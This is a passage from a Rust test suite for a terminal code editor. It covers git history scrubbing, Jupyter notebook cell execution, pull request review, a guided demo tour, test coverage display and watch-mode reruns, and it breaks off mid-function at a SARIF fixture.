    assert!(app.handle_scrubber_key(KeyCode::Left), "to HEAD");
    settle_scrub_view(&mut app);
    let view = app.scrub_view.as_mut().expect("a historical view at HEAD");
    assert_eq!(view.lines, vec!["v1", "v2", "v3"]);
    assert_eq!(
        view.git_mark_at(2),
        Some(crate::widgets::editor::GitMark::Added)
    );
    assert_eq!(view.git_mark_at(1), None, "unchanged in that commit");
    assert!(app.handle_scrubber_key(KeyCode::Left), "one older");
    settle_scrub_view(&mut app);
    let view = app.scrub_view.as_mut().unwrap();
    assert_eq!(view.lines, vec!["v1", "v2"]);
    assert_eq!(
        view.git_mark_at(1),
        Some(crate::widgets::editor::GitMark::Added)
    );
    assert!(app.handle_scrubber_key(KeyCode::Left), "the root commit");
    settle_scrub_view(&mut app);
    let view = app.scrub_view.as_mut().unwrap();
    assert_eq!(view.lines, vec!["v1"]);
    assert_eq!(
        view.git_mark_at(0),
        Some(crate::widgets::editor::GitMark::Added),
        "a root commit adds every line"
    );
    // Painted in place of the live buffer.
    let mut term = ratatui::Terminal::new(ratatui::backend::TestBackend::new(120, 30)).unwrap();
    term.draw(|f| app.render(f)).unwrap();
    let buf = term.backend().buffer();
    let mut screen = String::new();
    for y in 0..buf.area.height {
        for x in 0..buf.area.width {
            screen.push_str(buf[(x, y)].symbol());
        }
        screen.push('\n');
    }
    // Look at editor lines only (`N ┃text`): the explorer shows the temp
    // dir's random name, which can itself contain "v2".
    assert!(
        screen.contains("┃v1") && !screen.contains("┃v2"),
        "only the root commit's text shows:\n{screen}"
    );
}

#[test]
fn leaving_the_scrubber_restores_the_live_buffer_with_its_unsaved_edits() {
    let repo = scrub_repo();
    let mut app = App::new(repo.path().to_path_buf()).unwrap();
    app.editor.open(&repo.path().join("a.txt")).unwrap();
    app.editor.lines.push(String::from("UNSAVED LIVE EDIT"));
    app.editor.dirty = true;
    let live = app.editor.lines.clone();
    app.scrub_history();
    app.handle_scrubber_key(KeyCode::Left);
    app.handle_scrubber_key(KeyCode::Left);
    app.focus_pane(Pane::Editor);
    // Typing while looking at history must not reach the hidden buffer.
    app.handle_key(key(KeyCode::Char('x'), KeyModifiers::NONE))
        .unwrap();
    assert_eq!(app.editor.lines, live, "the live buffer took no keystroke");
    assert!(app.status.contains("history"), "{}", app.status);
    app.handle_scrubber_key(KeyCode::Esc);
    assert!(app.scrub_view.is_none(), "the historical view is gone");
    assert_eq!(app.editor.lines, live);
    assert!(app.editor.dirty, "dirty state untouched");
    let mut term = ratatui::Terminal::new(ratatui::backend::TestBackend::new(120, 30)).unwrap();
    term.draw(|f| app.render(f)).unwrap();
    let buf = term.backend().buffer();
    let mut screen = String::new();
    for y in 0..buf.area.height {
        for x in 0..buf.area.width {
            screen.push_str(buf[(x, y)].symbol());
        }
    }
    assert!(
        screen.contains("UNSAVED LIVE EDIT"),
        "the live buffer is painted again"
    );
}

#[test]
fn a_file_that_did_not_exist_yet_says_so() {
    let repo = scrub_repo();
    std::fs::write(repo.path().join("new.txt"), "fresh\n").unwrap();
    let mut app = App::new(repo.path().to_path_buf()).unwrap();
    app.editor.open(&repo.path().join("new.txt")).unwrap();
    app.scrub_history();
    app.handle_scrubber_key(KeyCode::Left);
    let view = app
        .scrub_view
        .as_ref()
        .expect("a view even for a missing file");
    assert!(view.lines[0].contains("did not exist"), "{:?}", view.lines);
}

#[test]
fn the_explorer_dims_files_missing_from_the_scrubbed_commit() {
    // #371: at a commit, a file its tree lacks dims; the working tree and
    // closing the scrubber clear it.
    let repo = scrub_repo();
    std::fs::write(repo.path().join("new.txt"), "fresh\n").unwrap();
    let mut app = App::new(repo.path().to_path_buf()).unwrap();
    let new = repo.path().join("new.txt");
    let old = repo.path().join("a.txt");
    app.scrub_history();
    assert!(app.tree.scrub_tree.is_none(), "opening parks at the tree");
    app.handle_scrubber_key(KeyCode::Left);
    assert!(app.tree.is_absent_at_scrub(&new), "new.txt is not in HEAD");
    assert!(!app.tree.is_absent_at_scrub(&old), "a.txt is");
    app.handle_scrubber_key(KeyCode::Home);
    assert!(
        !app.tree.is_absent_at_scrub(&new),
        "Home clears the dimming"
    );
    app.handle_scrubber_key(KeyCode::Left);
    assert!(app.tree.is_absent_at_scrub(&new));
    app.handle_scrubber_key(KeyCode::Right);
    assert!(
        !app.tree.is_absent_at_scrub(&new),
        "stepping to the working tree clears it"
    );
    app.handle_scrubber_key(KeyCode::Left);
    app.handle_scrubber_key(KeyCode::Esc);
    assert!(app.tree.scrub_tree.is_none(), "closing clears it");
}

#[test]
fn fleet_output_shows_each_hosts_time_and_the_lines_that_differ() {
    // #363: a DIFFERS row says what differs, line by line, not just that
    // something did; every row says how long the host took.
    let tmp = tempfile::tempdir().unwrap();
    let mut app = App::new(tmp.path().to_path_buf()).unwrap();
    let r = |host: &str, out: &str, ms: u64| crate::fleet::HostResult {
        host: String::from(host),
        output: String::from(out),
        exit: Some(0),
        elapsed: std::time::Duration::from_millis(ms),
    };
    app.fleet_running = true;
    app.fleet_tx
        .send(vec![
            r("zz363-a", "Linux\n6.8.0-45", 120),
            r("zz363-b", "Linux\n6.8.0-45", 80),
            r("zz363-odd", "Linux\n6.8.0-31", 1500),
        ])
        .unwrap();
    assert!(app.drain_fleet_results());
    let lines: Vec<String> = crate::output::snapshot(crate::output::CHANNEL_FLEET)
        .unwrap()
        .into_iter()
        .map(|l| l.text)
        .collect();
    let odd = lines
        .iter()
        .position(|l| l.starts_with("zz363-odd"))
        .expect("the odd host has a row");
    assert!(
        lines[odd].contains("[DIFFERS]") && lines[odd].contains("1.5s"),
        "{}",
        lines[odd]
    );
    assert_eq!(
        lines[odd + 1..odd + 3],
        ["    - 6.8.0-45", "    + 6.8.0-31"],
        "the reference's line and the host's, alone"
    );
    let a = lines.iter().find(|l| l.starts_with("zz363-a")).unwrap();
    assert!(a.contains("0.1s"), "{a}");
    assert!(
        !lines
            .iter()
            .any(|l| l.ends_with(" Linux") && l.starts_with("    ")),
        "an equal line is not marked"
    );
}

const NOTEBOOK_355: &str = "{\n \"cells\": [\n  {\n   \"cell_type\": \"code\",\n   \"execution_count\": null,\n   \"id\": \"c1\",\n   \"metadata\": {},\n   \"outputs\": [],\n   \"source\": [\n    \"print(1+1)\"\n   ]\n  }\n ],\n \"metadata\": {\n  \"kernelspec\": {\n   \"display_name\": \"Python 3\",\n   \"language\": \"python\",\n   \"name\": \"python3\"\n  }\n },\n \"nbformat\": 4,\n \"nbformat_minor\": 5\n}\n";

/// Click a notebook cell's run glyph where it is drawn.
fn click_first_cell_glyph(
    app: &mut App,
    term: &mut ratatui::Terminal<ratatui::backend::TestBackend>,
) {
    term.draw(|f| app.render(f)).unwrap();
    let md = app
        .editor
        .markdown_preview
        .as_ref()
        .expect("notebook preview open");
    let (x, y) = (
        md.last_area.x,
        md.last_area.y + (md.run_rows[0] - md.scroll as usize) as u16,
    );
    app.handle_mouse(MouseEvent {
        kind: MouseEventKind::Down(MouseButton::Left),
        column: x,
        row: y,
        modifiers: KeyModifiers::NONE,
    });
}

/// A notebook cell's run glyph, end to end through the App with the test
/// standing in for the kernel: the click sends the cell's code, the cell
/// shows `In [*]` while it runs, and the kernel's output and count land in
/// the buffer as an edit.
#[test]
fn clicking_a_cells_run_glyph_runs_it_and_writes_the_output_into_the_notebook() {
    let tmp = tempfile::tempdir().unwrap();
    let path = tmp.path().join("t.ipynb");
    // A previous run's output, which this run must replace.
    let stale = NOTEBOOK_355.replace(
        "\"outputs\": [],",
        "\"outputs\": [{\"output_type\": \"stream\", \"name\": \"stdout\", \"text\": [\"stale\\n\"]}],",
    );
    assert_ne!(stale, NOTEBOOK_355);
    std::fs::write(&path, stale).unwrap();
    let mut app = App::new(tmp.path().to_path_buf()).unwrap();
    app.editor.open(&path).unwrap();
    let (run, kernel, requests) = crate::notebook_kernel::NotebookRun::for_test();
    app.notebook_kernels.insert(path.clone(), run);
    let mut term = ratatui::Terminal::new(ratatui::backend::TestBackend::new(100, 30)).unwrap();
    click_first_cell_glyph(&mut app, &mut term);

    let sent: Vec<_> = requests.try_iter().collect();
    let id = match sent.as_slice() {
        [crate::notebook_kernel::Request::Execute { id, code }] => {
            assert_eq!(code, "print(1+1)");
            id.clone()
        }
        other => panic!("expected one execute, got {other:?}"),
    };
    assert_eq!(app.editor.notebook_running, vec![0]);
    assert!(
        !app.editor.lines.join("\n").contains("stale"),
        "the run clears the old output"
    );
    term.draw(|f| app.render(f)).unwrap();
    let md = app.editor.markdown_preview.as_ref().unwrap();
    let frame = &md.lines[md.runnables[0].first_line];
    assert_eq!(frame.spans[1].content.as_ref(), "In [*]:");

    kernel
        .send(crate::notebook_kernel::Event::Output {
            id: id.clone(),
            output: serde_json::json!({"output_type": "stream", "name": "stdout", "text": "2\n"}),
        })
        .unwrap();
    kernel
        .send(crate::notebook_kernel::Event::Done {
            id,
            execution_count: Some(1),
            status: "ok".into(),
        })
        .unwrap();
    assert!(app.poll_notebook_kernels());
    let doc: serde_json::Value = serde_json::from_str(&app.editor.lines.join("\n")).unwrap();
    assert_eq!(doc["cells"][0]["execution_count"], 1);
    assert_eq!(doc["cells"][0]["outputs"][0]["text"][0], "2\n");
    assert!(app.editor.notebook_running.is_empty());
    assert!(app.editor.dirty, "outputs are an edit; Save writes them");
}

/// Acceptance for #355 against a real kernel: `print(1+1)` shows `2`, and
/// after Save the file holds the output in the standard format. Set
/// `CROFT_TEST_JUPYTER_PYTHON` to a venv python with ipykernel.
#[test]
#[ignore = "needs a Python with ipykernel; set CROFT_TEST_JUPYTER_PYTHON"]
fn a_real_kernel_runs_a_cell_and_save_persists_the_output() {
    let python = std::path::PathBuf::from(std::env::var("CROFT_TEST_JUPYTER_PYTHON").unwrap());
    let tmp = tempfile::tempdir().unwrap();
    let venv = python.parent().and_then(Path::parent).unwrap();
    std::os::unix::fs::symlink(venv, tmp.path().join(".venv")).unwrap();
    let path = tmp.path().join("t.ipynb");
    std::fs::write(&path, NOTEBOOK_355).unwrap();
    let mut app = App::new(tmp.path().to_path_buf()).unwrap();
    app.editor.open(&path).unwrap();
    let mut term = ratatui::Terminal::new(ratatui::backend::TestBackend::new(100, 30)).unwrap();
    click_first_cell_glyph(&mut app, &mut term);
    let end = std::time::Instant::now() + std::time::Duration::from_secs(60);
    while !app
        .editor
        .lines
        .join("\n")
        .contains("\"execution_count\": 1")
    {
        assert!(std::time::Instant::now() < end, "status: {}", app.status);
        app.poll_notebook_kernels();
        std::thread::sleep(std::time::Duration::from_millis(50));
    }
    app.save();
    let saved: serde_json::Value =
        serde_json::from_str(&std::fs::read_to_string(&path).unwrap()).unwrap();
    assert_eq!(saved["cells"][0]["outputs"][0]["output_type"], "stream");
    assert_eq!(saved["cells"][0]["outputs"][0]["text"][0], "2\n");
}

/// Acceptance for #355's figure criterion against a real kernel: a
/// matplotlib plot arrives as an `image/png` display, is saved in the file,
/// and the preview places it as an image block, the path Kitty and iTerm2
/// hosts draw. Needs matplotlib next to ipykernel.
#[test]
#[ignore = "needs a Python with ipykernel and matplotlib; set CROFT_TEST_JUPYTER_PYTHON"]
fn a_real_kernel_matplotlib_figure_becomes_an_inline_image() {
    let python = std::path::PathBuf::from(std::env::var("CROFT_TEST_JUPYTER_PYTHON").unwrap());
    let tmp = tempfile::tempdir().unwrap();
    let venv = python.parent().and_then(Path::parent).unwrap();
    std::os::unix::fs::symlink(venv, tmp.path().join(".venv")).unwrap();
    let path = tmp.path().join("plot.ipynb");
    std::fs::write(
        &path,
        NOTEBOOK_355.replace(
            "\"print(1+1)\"",
            "\"import matplotlib.pyplot as plt\\n\", \"plt.plot([1, 3, 2])\\n\", \"plt.show()\"",
        ),
    )
    .unwrap();
    let mut app = App::new(tmp.path().to_path_buf()).unwrap();
    app.editor.open(&path).unwrap();
    let mut term = ratatui::Terminal::new(ratatui::backend::TestBackend::new(100, 40)).unwrap();
    click_first_cell_glyph(&mut app, &mut term);
    let end = std::time::Instant::now() + std::time::Duration::from_secs(120);
    while !app
        .editor
        .lines
        .join("\n")
        .contains("\"execution_count\": 1")
    {
        assert!(std::time::Instant::now() < end, "status: {}", app.status);
        app.poll_notebook_kernels();
        std::thread::sleep(std::time::Duration::from_millis(50));
    }
    term.draw(|f| app.render(f)).unwrap();
    let images = &app.editor.markdown_preview.as_ref().unwrap().images;
    assert_eq!(images.len(), 1, "the figure is one image block");
    let bytes = std::fs::read(&images[0].path).unwrap();
    assert!(bytes.starts_with(b"\x89PNG"), "a PNG in scratch");
    app.save();
    let saved: serde_json::Value =
        serde_json::from_str(&std::fs::read_to_string(&path).unwrap()).unwrap();
    let outputs = saved["cells"][0]["outputs"].as_array().unwrap();
    assert!(
        outputs
            .iter()
            .any(|o| o["output_type"] == "display_data" && o["data"]["image/png"].is_string()),
        "{outputs:?}"
    );
}

fn pr_screen(app: &mut App) -> String {
    let mut term = ratatui::Terminal::new(ratatui::backend::TestBackend::new(150, 32)).unwrap();
    term.draw(|f| app.render(f)).unwrap();
    let buf = term.backend().buffer();
    let mut s = String::new();
    for y in 0..buf.area.height {
        for x in 0..buf.area.width {
            s.push_str(buf[(x, y)].symbol());
        }
        s.push('\n');
    }
    s
}

#[test]
fn a_pr_review_tab_lists_files_checks_and_a_summary() {
    // The cache-dir override is process-global; serialize with the
    // other tests that redirect it.
    let _guard = relay_test_lock().lock().unwrap_or_else(|e| e.into_inner());
    // #365: the PULL REQUEST tab shows every changed file with +n -m, the
    // checks, and a summary line.
    let home = tempfile::tempdir().unwrap();
    with_relay_home(home.path(), || {
        let tmp = tempfile::tempdir().unwrap();
        let mut app = App::new(tmp.path().to_path_buf()).unwrap();
        app.open_pr_review(crate::widgets::pr_review::tests::sample(), "o/r#579".into());
        assert!(app.editor.pr_review.is_some(), "the PR tab is active");
        let screen = pr_screen(&mut app);
        for want in [
            "PR #579",
            "feat(sarif): model",
            "src/sarif/view.rs",
            "+1048",
            "0 of 2 viewed",
            "docs",
        ] {
            assert!(screen.contains(want), "{want:?} on screen:\n{screen}");
        }
    });
}

#[test]
fn space_marks_a_file_viewed_and_it_persists() {
    // The cache-dir override is process-global; serialize with the
    // other tests that redirect it.
    let _guard = relay_test_lock().lock().unwrap_or_else(|e| e.into_inner());
    let home = tempfile::tempdir().unwrap();
    with_relay_home(home.path(), || {
        let tmp = tempfile::tempdir().unwrap();
        let mut app = App::new(tmp.path().to_path_buf()).unwrap();
        app.open_pr_review(crate::widgets::pr_review::tests::sample(), "o/r#579".into());
        app.handle_pr_review_key(key(KeyCode::Char(' '), KeyModifiers::NONE));
        let view = app.editor.pr_review.as_ref().unwrap();
        assert!(view.viewed.contains("src/sarif/view.rs"));
        assert!(pr_screen(&mut app).contains("1 of 2 viewed"));
        // A new session sees the mark.
        let mut again = App::new(tmp.path().to_path_buf()).unwrap();
        again.open_pr_review(crate::widgets::pr_review::tests::sample(), "o/r#579".into());
        assert!(
            again
                .editor
                .pr_review
                .as_ref()
                .unwrap()
                .viewed
                .contains("src/sarif/view.rs"),
            "viewed marks persist"
        );
    });
}

#[test]
fn enter_opens_the_files_diff_and_esc_leaves_review() {
    // The cache-dir override is process-global; serialize with the
    // other tests that redirect it.
    let _guard = relay_test_lock().lock().unwrap_or_else(|e| e.into_inner());
    let home = tempfile::tempdir().unwrap();
    with_relay_home(home.path(), || {
        let tmp = tempfile::tempdir().unwrap();
        let mut app = App::new(tmp.path().to_path_buf()).unwrap();
        app.open_pr_review(crate::widgets::pr_review::tests::sample(), "o/r#579".into());
        let patch = "diff --git a/src/sarif/view.rs b/src/sarif/view.rs\nnew file mode 100644\n--- /dev/null\n+++ b/src/sarif/view.rs\n@@ -0,0 +1,2 @@\n+fn a() {}\n+fn b() {}\n";
        app.editor.pr_review.as_mut().unwrap().diff =
            Some(crate::pr_review::split_diff_by_file(patch));
        let pr_tab = app.editor.active_index();
        app.handle_pr_review_key(key(KeyCode::Enter, KeyModifiers::NONE));
        assert!(
            app.editor.diff.is_some(),
            "a diff tab opened: {}",
            app.status
        );
        assert_ne!(app.editor.active_index(), pr_tab, "in its own tab");
        app.editor.select(pr_tab);
        app.handle_pr_review_key(key(KeyCode::Esc, KeyModifiers::NONE));
        assert!(
            (0..app.editor.tab_count()).all(|i| {
                app.editor.select(i);
                app.editor.pr_review.is_none()
            }),
            "Esc leaves review: the PR tab is closed"
        );
    });
}

#[test]
fn review_pull_request_is_a_palette_command_with_a_number_prompt() {
    use crate::widgets::command_palette::Command;
    assert_eq!(
        Command::from_id("review_pull_request"),
        Some(Command::ReviewPullRequest)
    );
    assert_eq!(
        Command::ReviewPullRequest.title(),
        "Source Control: Review Pull Request"
    );
    let tmp = tempfile::tempdir().unwrap();
    let mut app = App::new(tmp.path().to_path_buf()).unwrap();
    app.submit_pr_number("not a number");
    assert!(
        app.status.contains("not a pull request number"),
        "{}",
        app.status
    );
}

#[test]
fn the_demo_tour_runs_in_a_scratch_project_and_esc_cleans_up() {
    // #377: the tour never runs in the user's workspace, and Esc leaves a
    // normal croft with no scratch files behind.
    let _guard = relay_test_lock().lock().unwrap_or_else(|e| e.into_inner());
    let home = tempfile::tempdir().unwrap();
    with_relay_home(home.path(), || {
        let tmp = tempfile::tempdir().unwrap();
        let mut app = App::new(tmp.path().to_path_buf()).unwrap();
        app.start_demo();
        let scratch = app.workspace_root().to_path_buf();
        assert_ne!(scratch, tmp.path(), "not the user's workspace");
        assert!(scratch.join(crate::tour::SCRATCH_MARKER).is_file());
        assert_eq!(
            app.editor.path.as_deref(),
            Some(scratch.join("src/main.rs").as_path())
        );
        let mut term = ratatui::Terminal::new(ratatui::backend::TestBackend::new(140, 36)).unwrap();
        term.draw(|f| app.render(f)).unwrap();
        let buf = term.backend().buffer();
        let mut screen = String::new();
        for y in 0..buf.area.height {
            for x in 0..buf.area.width {
                screen.push_str(buf[(x, y)].symbol());
            }
        }
        assert!(
            screen.contains("1/8"),
            "the caption chip shows progress:\n{screen}"
        );
        // Enter advances the tour instead of typing into the file.
        let lines = app.editor.lines.clone();
        app.focus_pane(Pane::Editor);
        app.handle_key(key(KeyCode::Enter, KeyModifiers::NONE))
            .unwrap();
        assert_eq!(app.tour.as_ref().unwrap().tour.index, 1);
        assert_eq!(app.editor.lines, lines, "no newline typed into the sample");
        app.close_all_modals_for_test();
        app.handle_key(key(KeyCode::Esc, KeyModifiers::NONE))
            .unwrap();
        assert!(app.tour.is_none(), "Esc leaves the tour");
        assert_eq!(
            app.workspace_root(),
            tmp.path(),
            "back in the original workspace"
        );
        assert!(!scratch.exists(), "the sample project is gone");
    });
}

#[test]
fn walking_the_whole_tour_ends_it_and_cleans_up() {
    let _guard = relay_test_lock().lock().unwrap_or_else(|e| e.into_inner());
    let home = tempfile::tempdir().unwrap();
    with_relay_home(home.path(), || {
        let tmp = tempfile::tempdir().unwrap();
        let mut app = App::new(tmp.path().to_path_buf()).unwrap();
        app.start_demo();
        let scratch = app.workspace_root().to_path_buf();
        let mut steps = 0;
        while app.tour.is_some() && steps < 40 {
            app.close_all_modals_for_test();
            app.advance_tour();
            steps += 1;
        }
        assert!(app.tour.is_none(), "the tour ends");
        assert_eq!(steps, 8, "one advance per step");
        assert_eq!(app.workspace_root(), tmp.path());
        assert!(!scratch.exists());
    });
}

#[test]
fn the_welcome_tour_button_starts_the_tour_and_goes_away_once_done() {
    // #377: shown until the first completed or skipped tour, persisted.
    let _guard = relay_test_lock().lock().unwrap_or_else(|e| e.into_inner());
    let home = tempfile::tempdir().unwrap();
    with_relay_home(home.path(), || {
        let tmp = tempfile::tempdir().unwrap();
        let mut app = App::new(tmp.path().to_path_buf()).unwrap();
        app.config_dir = tmp.path().join("config");
        app.tour_done = false;
        let mut term = ratatui::Terminal::new(ratatui::backend::TestBackend::new(140, 40)).unwrap();
        term.draw(|f| app.render(f)).unwrap();
        let button = app.welcome_tour_button;
        assert!(button.width > 0, "the welcome panel offers the tour");
        left_click(&mut app, button.x + 1, button.y);
        assert!(app.tour.is_some(), "clicking starts it: {}", app.status);
        app.close_all_modals_for_test();
        app.handle_key(key(KeyCode::Esc, KeyModifiers::NONE))
            .unwrap();
        assert!(app.tour_done, "a skipped tour counts as done");
        let saved = crate::prefs::Prefs::load(&tmp.path().join("config").join("config.json"))
            .unwrap_or_default();
        assert!(saved.tour_done, "persisted in prefs");
        // Back on the welcome screen, the button is gone.
        while app.editor.tab_count() > 1 {
            app.editor.close_active();
        }
        app.editor.close_active();
        term.draw(|f| app.render(f)).unwrap();
        assert_eq!(app.welcome_tour_button.width, 0, "not offered again");
    });
}

#[test]
fn take_the_tour_is_a_palette_command() {
    use crate::widgets::command_palette::Command;
    assert_eq!(
        Command::from_id("help_take_the_tour"),
        Some(Command::TakeTheTour)
    );
    assert_eq!(Command::TakeTheTour.title(), "Help: Take the Tour");
}

/// Coverage (#263) through the App, from a report arriving the way the
/// worker's drain delivers it: the active file's lines are marked in the
/// gutter lane, the status readout carries its percentage, an edit dims
/// the marks, a missing tool offers its install, and Clear hands the lane
/// back.
#[test]
fn a_coverage_report_marks_the_gutter_and_dims_after_an_edit() {
    use crate::testing::coverage::{Coverage, LineCov};
    let tmp = tempfile::tempdir().unwrap();
    let root = tmp.path().canonicalize().unwrap();
    let file = root.join("f.rs");
    std::fs::write(&file, "fn a() {}\nfn b() {}\n").unwrap();
    let mut app = App::new(root.clone()).unwrap();
    app.editor.open(&file).unwrap();
    app.testing.on_coverage(Ok(Coverage::from_lcov(
        "SF:f.rs\nDA:1,3\nDA:2,0\nend_of_record\n",
        &root,
    )));
    assert!(app.sync_coverage());
    let lens = app
        .editor
        .coverage
        .clone()
        .expect("the open file is covered");
    assert_eq!(lens.lines.get(&0), Some(&LineCov::Covered));
    assert_eq!(lens.lines.get(&1), Some(&LineCov::Uncovered));
    assert!(!lens.stale);

    let mut term = ratatui::Terminal::new(ratatui::backend::TestBackend::new(120, 30)).unwrap();
    term.draw(|f| app.render(f)).unwrap();
    let bar_x = app.editor.last_inner.x + app.editor.last_gutter_width;
    let y = app.editor.last_inner.y;
    let buf = term.backend().buffer();
    assert_eq!(buf[(bar_x, y)].symbol(), "\u{258c}");
    assert_ne!(
        buf[(bar_x, y)].fg,
        buf[(bar_x, y + 1)].fg,
        "covered and uncovered differ"
    );
    let status_row: String = (0..120).map(|x| buf[(x, 29)].symbol()).collect();
    assert!(status_row.contains("50% covered"), "{status_row}");

    app.editor.insert_char('x');
    app.sync_coverage();
    assert!(
        app.editor.coverage.as_ref().unwrap().stale,
        "an edit dims the marks"
    );

    app.testing
        .on_coverage(Err(crate::testing::worker::CoverageError::Missing {
            tool: "cargo-llvm-cov",
            install: String::from("cargo install cargo-llvm-cov"),
        }));
    app.sync_coverage();
    assert!(app.status.contains("cargo-llvm-cov"), "{}", app.status);
    assert_eq!(
        app.coverage_install.as_deref(),
        Some("cargo install cargo-llvm-cov")
    );

    app.run_command(crate::widgets::command_palette::Command::CoverageClear);
    assert!(app.editor.coverage.is_none() && app.testing.coverage.is_none());
}

/// Acceptance for #263 against real pytest-cov: "Run All Tests with
/// Coverage" on a pytest project marks the tested file's lines, uncovered
/// branch-free lines red, and reports a percentage. Set
/// `CROFT_TEST_PYTEST_COV_PYTHON` to a venv python with pytest and
/// pytest-cov; the test links that venv in as the project's `.venv`.
#[test]
#[ignore = "needs pytest and pytest-cov; set CROFT_TEST_PYTEST_COV_PYTHON"]
fn a_real_pytest_cov_run_marks_the_covered_file() {
    use crate::testing::coverage::LineCov;
    let python = std::path::PathBuf::from(std::env::var("CROFT_TEST_PYTEST_COV_PYTHON").unwrap());
    let tmp = tempfile::tempdir().unwrap();
    let root = tmp.path().canonicalize().unwrap();
    std::os::unix::fs::symlink(
        python.parent().and_then(Path::parent).unwrap(),
        root.join(".venv"),
    )
    .unwrap();
    std::fs::write(
        root.join("pyproject.toml"),
        "[project]\nname = \"t\"\nversion = \"0\"\n",
    )
    .unwrap();
    std::fs::write(
        root.join("calc.py"),
        "def add(a, b):\n    return a + b\n\n\ndef unused():\n    return 0\n",
    )
    .unwrap();
    std::fs::write(
        root.join("test_calc.py"),
        "from calc import add\n\n\ndef test_add():\n    assert add(1, 2) == 3\n",
    )
    .unwrap();
    let mut app = App::new(root.clone()).unwrap();
    app.editor.open(&root.join("calc.py")).unwrap();
    app.run_all_tests_with_coverage();
    let end = std::time::Instant::now() + std::time::Duration::from_secs(120);
    while app.editor.coverage.is_none() {
        assert!(std::time::Instant::now() < end, "status: {}", app.status);
        let _ = app.test_worker.drain(&mut app.testing);
        app.sync_coverage();
        std::thread::sleep(std::time::Duration::from_millis(100));
    }
    let lens = app.editor.coverage.clone().unwrap();
    assert_eq!(
        lens.lines.get(&1),
        Some(&LineCov::Covered),
        "`return a + b` ran"
    );
    assert_eq!(
        lens.lines.get(&5),
        Some(&LineCov::Uncovered),
        "`return 0` never ran"
    );
    assert!(
        lens.percent.is_some_and(|p| p > 0.0 && p < 100.0),
        "{:?}",
        lens.percent
    );
}

/// #263: the Testing tree's coverage glyphs run their row with coverage,
/// marking just that scope as running, as a plain run of it would.
#[test]
fn a_rows_coverage_glyph_runs_that_scope_with_coverage() {
    use crate::testing::model::{TestCase, TestStatus};
    use crate::widgets::testing::RowHit;
    let tmp = tempfile::tempdir().unwrap();
    std::fs::write(
        tmp.path().join("Cargo.toml"),
        "[package]\nname = \"t\"\nversion = \"0.0.0\"\n",
    )
    .unwrap();
    let mut app = App::new(tmp.path().to_path_buf()).unwrap();
    for n in ["parse::a", "parse::b", "other::c"] {
        app.testing.apply_case(TestCase {
            name: n.into(),
            status: TestStatus::Passed,
        });
    }
    app.set_sidebar_view(SidebarView::Testing);
    let mut term = ratatui::Terminal::new(ratatui::backend::TestBackend::new(100, 30)).unwrap();
    term.draw(|f| app.render(f)).unwrap();
    let area = app.testing.last_area;
    let x = area.x + area.width - 5;
    let click = |app: &mut App, want: RowHit| {
        let y = (area.y..area.y + area.height)
            .find(|&y| app.testing.hit_at(x, y) == Some(want.clone()))
            .unwrap_or_else(|| panic!("no {want:?} glyph"));
        app.handle_mouse(MouseEvent {
            kind: MouseEventKind::Down(MouseButton::Left),
            column: x,
            row: y,
            modifiers: KeyModifiers::NONE,
        });
    };

    click(&mut app, RowHit::CoverSuite("parse".into()));
    assert_eq!(app.status, "Running suite parse with coverage");
    assert_eq!(app.testing.status_of("parse::a"), Some(TestStatus::Running));
    assert_eq!(app.testing.status_of("parse::b"), Some(TestStatus::Running));
    assert_eq!(app.testing.status_of("other::c"), Some(TestStatus::Passed));
    app.testing.on_finished(Some(true));

    click(&mut app, RowHit::CoverCase("other::c".into()));
    assert_eq!(app.status, "Running test other::c with coverage");
    assert_eq!(app.testing.status_of("other::c"), Some(TestStatus::Running));
    app.testing.on_finished(Some(true));

    // The header's glyph runs everything with coverage.
    let all = app.testing.last_cover_all;
    app.handle_mouse(MouseEvent {
        kind: MouseEventKind::Down(MouseButton::Left),
        column: all.x,
        row: all.y,
        modifiers: KeyModifiers::NONE,
    });
    assert_eq!(app.status, "Running tests with coverage");
}

/// Watch mode (#263) end to end through the App: the eye on a test's row
/// watches it, a save anywhere under the runner's root reruns exactly that
/// test once the debounce passes, without moving the sidebar, and a rerun
/// that turns red says which test failed.
#[test]
fn watching_a_test_reruns_it_after_a_save_and_reports_it_turning_red() {
    use crate::testing::model::{TestCase, TestStatus};
    use crate::testing::watch::WatchScope;
    let tmp = tempfile::tempdir().unwrap();
    std::fs::write(
        tmp.path().join("Cargo.toml"),
        "[package]\nname = \"t\"\nversion = \"0.0.0\"\n",
    )
    .unwrap();
    let src = tmp.path().join("lib.rs");
    std::fs::write(&src, "fn a() {}\n").unwrap();
    let mut app = App::new(tmp.path().to_path_buf()).unwrap();
    for n in ["parse::a", "parse::b"] {
        app.testing.apply_case(TestCase {
            name: n.into(),
            status: TestStatus::Passed,
        });
    }
    app.set_sidebar_view(SidebarView::Testing);
    let mut term = ratatui::Terminal::new(ratatui::backend::TestBackend::new(100, 30)).unwrap();
    term.draw(|f| app.render(f)).unwrap();

    // Find parse::a's eye where it is drawn, and click it.
    let area = app.testing.last_area;
    let x = area.x + area.width - 3;
    let y = (area.y..area.y + area.height)
        .find(|&y| {
            app.testing.hit_at(x, y)
                == Some(crate::widgets::testing::RowHit::ToggleWatch(
                    WatchScope::Test("parse::a".into()),
                ))
        })
        .expect("parse::a has an eye");
    assert_eq!(term.backend().buffer()[(x, y)].symbol(), "\u{ea70}");
    app.handle_mouse(MouseEvent {
        kind: MouseEventKind::Down(MouseButton::Left),
        column: x,
        row: y,
        modifiers: KeyModifiers::NONE,
    });
    assert!(
        app.testing
            .watch
            .is_watching(&WatchScope::Test("parse::a".into()))
    );

    // The user goes back to the files and saves one.
    app.set_sidebar_view(SidebarView::Explorer);
    app.editor.open(&src).unwrap();
    app.editor.insert_char('x');
    app.save();
    assert!(!app.tick_test_watch(), "not before the debounce");
    std::thread::sleep(crate::testing::watch::DEBOUNCE + std::time::Duration::from_millis(50));
    assert!(app.tick_test_watch());
    assert_eq!(app.testing.status_of("parse::a"), Some(TestStatus::Running));
    assert_eq!(app.testing.status_of("parse::b"), Some(TestStatus::Passed));
    assert_eq!(
        app.sidebar_view,
        SidebarView::Explorer,
        "a rerun never moves the sidebar"
    );

    // The rerun ends red: the status says which test, once.
    app.testing.apply_case(TestCase {
        name: "parse::a".into(),
        status: TestStatus::Failed,
    });
    app.testing.on_finished(Some(false));
    app.tick_test_watch();
    assert!(
        app.status.contains("Watched tests failed: parse::a"),
        "{}",
        app.status
    );
}

/// A workspace with one source file and a SARIF log pointing into it.
fn sarif_fixture() -> (tempfile::TempDir, std::path::PathBuf) {
    let tmp = tempfile::tempdir().unwrap();
    std::fs::create_dir_all(tmp.path().join("src")).unwrap();
    std::fs::write(
        tmp.path().join("src/a.rs"),
